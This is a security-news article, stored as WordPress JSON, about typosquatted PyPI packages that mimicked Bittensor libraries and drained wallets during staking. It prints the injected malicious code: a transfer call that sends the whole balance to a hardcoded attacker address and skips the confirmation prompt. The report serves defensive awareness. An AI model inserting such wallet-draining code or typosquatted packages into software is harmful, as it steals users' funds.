{"id":6017,"date":"2025-08-09T10:03:37","date_gmt":"2025-08-09T10:03:37","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/08\/09\/threat-actors-using-typosquatted-pypi-packages-to-steal-cryptocurrency-from-bittensor-wallets\/"},"modified":"2025-08-09T10:03:37","modified_gmt":"2025-08-09T10:03:37","slug":"threat-actors-using-typosquatted-pypi-packages-to-steal-cryptocurrency-from-bittensor-wallets","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/08\/09\/threat-actors-using-typosquatted-pypi-packages-to-steal-cryptocurrency-from-bittensor-wallets\/","title":{"rendered":"Threat Actors Using Typosquatted PyPI Packages to Steal Cryptocurrency from Bittensor Wallets"},"content":{"rendered":"<p>    Threat Actors Using Typosquatted PyPI Packages to Steal Cryptocurrency from Bittensor Wallets<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>A sophisticated cryptocurrency theft campaign has emerged targeting the Bittensor ecosystem through malicious Python packages distributed via the Python Package Index (PyPI).<\/p>\n<p>The attack leverages typosquatting techniques to deceive developers and users into installing compromised versions of legitimate Bittensor packages, ultimately resulting in complete wallet drainage during routine staking operations.<\/p>\n<p>The malicious <a href=\"https:\/\/cybersecuritynews.com\/new-redisraider-campaign-attacking-linux-servers\/\" target=\"_blank\" rel=\"noreferrer noopener\">campaign<\/a> was orchestrated with precision, with all five typosquatted packages published within a concentrated 25-minute window on August 6, 2025.<\/p>\n<p>These packages included variations such as \u201cbitensor\u201d (missing \u2018t\u2019), \u201cbittenso\u201d (truncated), and \u201cqbittensor\u201d (prefixed), all designed to mimic the authentic bittensor and bittensor-cli packages.<\/p>\n<p>The attackers strategically chose version numbers 9.9.4 and 9.9.5 to closely match legitimate package versions, maximizing the likelihood of accidental installation through developer typos or copy-paste errors.<\/p>\n<p>GitLab analysts <a href=\"https:\/\/about.gitlab.com\/blog\/gitlab-uncovers-bittensor-theft-campaign-via-pypi\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">identified<\/a> the threat through their automated package monitoring system, which flagged suspicious activity related to popular Bittensor packages.<\/p>\n<p>The discovery revealed a carefully engineered attack that exploits the trust inherent in routine <a href=\"https:\/\/cybersecuritynews.com\/blockchain-financial-security\/\" target=\"_blank\" rel=\"noreferrer noopener\">blockchain<\/a> operations, specifically targeting users engaged in staking activities who typically possess substantial cryptocurrency holdings.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-analysis-of-the-hijacked-staking-mechanism\"><strong>Analysis of the Hijacked Staking Mechanism<\/strong><\/h2>\n<p>The attack\u2019s technical sophistication lies in its surgical modification of legitimate staking functionality within the <code>stake_extrinsic<\/code> function located in <code>bittensor_cli\/src\/commands\/stake\/add.py<\/code>.<\/p>\n<p>At line 275, the attackers inserted malicious code that completely subverts the expected staking process:-<\/p>\n<pre class=\"wp-block-code\"><code>result = await transfer_extrinsic(\n    subtensor=subtensor,\n    wallet=wallet,\n    destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n    amount=amount,\n    transfer_all=True,\n    prompt=False\n)<\/code><\/pre>\n<p>This code injection operates with devastating efficiency by setting <code>transfer_all=True<\/code> to drain entire wallets rather than just the intended staking amount, while <code>prompt=False<\/code> bypasses user confirmation dialogs.<\/p>\n<p>The hardcoded destination wallet address serves as a collection point for stolen funds, which are subsequently distributed through a multi-hop laundering <a href=\"https:\/\/cybersecuritynews.com\/analyzing-malwares-network-traffic\/\" target=\"_blank\" rel=\"noreferrer noopener\">network<\/a> involving several intermediary wallets before reaching the final consolidation address.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 91%,rgb(169,184,195) 100%)\">Equip your SOC with full access to the latest threat data from\u00a0<strong>ANY.RUN TI Lookup<\/strong>\u00a0that can Improve incident response -&gt;\u00a0<strong><a href=\"https:\/\/any.run\/threat-intelligence-feeds\/?utm_source=csn_aug&amp;utm_medium=article&amp;utm_campaign=how-to-get-real-time-iocs&amp;utm_content=feeds-cta1&amp;utm_term=050825#contact-sales\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Get 14-day\u00a0Free\u00a0Trial<\/a><\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/typosquatted-pypi-packages-steal-from-bittensor-wallets\/\">Threat Actors Using Typosquatted PyPI Packages to Steal Cryptocurrency from Bittensor Wallets<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/typosquatted-pypi-packages-steal-from-bittensor-wallets\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Threat Actors Using Typosquatted PyPI Packages to Steal Cryptocurrency from Bittensor Wallets A sophisticated cryptocurrency theft campaign has emerged targeting the Bittensor ecosystem through malicious Python packages distributed via the Python Package Index (PyPI). The attack leverages typosquatting techniques to deceive developers and users into installing compromised versions of legitimate Bittensor packages, ultimately resulting in [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-6017","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6017"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=6017"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/6017\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=6017"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=6017"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=6017"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}